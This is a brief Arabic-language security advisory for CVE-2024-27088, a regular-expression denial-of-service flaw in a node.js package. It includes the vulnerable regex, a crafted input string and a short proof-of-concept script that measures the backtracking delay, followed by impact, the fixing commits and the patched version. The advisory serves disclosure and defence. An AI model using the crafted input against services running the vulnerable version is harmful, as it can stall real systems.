
redos
CVE-2024-27088
Feb 26, 2024
ReDoS في حزمة node.js
كجزء من مشروع rebob
/^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/
يمكن استغلال هذه الثغرة عند وجود خلل في توازن الأقواس، مما يؤدي إلى تراجع مفرط وزيادة كبيرة في حمل وحدة المعالجة المركزية ووقت المعالجة. يمكن تشغيل هذه الثغرة باستخدام الإدخال التالي:
'function{' + 'n'.repeat(31) + '){'
إليك كود PoC بسيط لتوضيح المشكلة:
const protocolre = /^\sfunction\s([\0-')-\uffff]+)\s(([\0-(-\uffff]))\s*{/;
const startTime = Date.now();
const maliciousInput = 'function{' + 'n'.repeat(31) + '){'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
التأثير
قد يؤدي تمرير دوال بأسماء طويلة جدًا أو أسماء وسائط افتراضية معقدة إلى function#copy أو function#toStringTokens إلى توقف البرنامج النصي.
التصحيحات تم الإصلاح باستخدام 3551cdd و a52e957 تم النشر مع الإصدار v0.10.63
الحلول البديلة لا يوجد حل بديل فعلي سوى الامتناع عن استخدام الأدوات المذكورة أعلاه.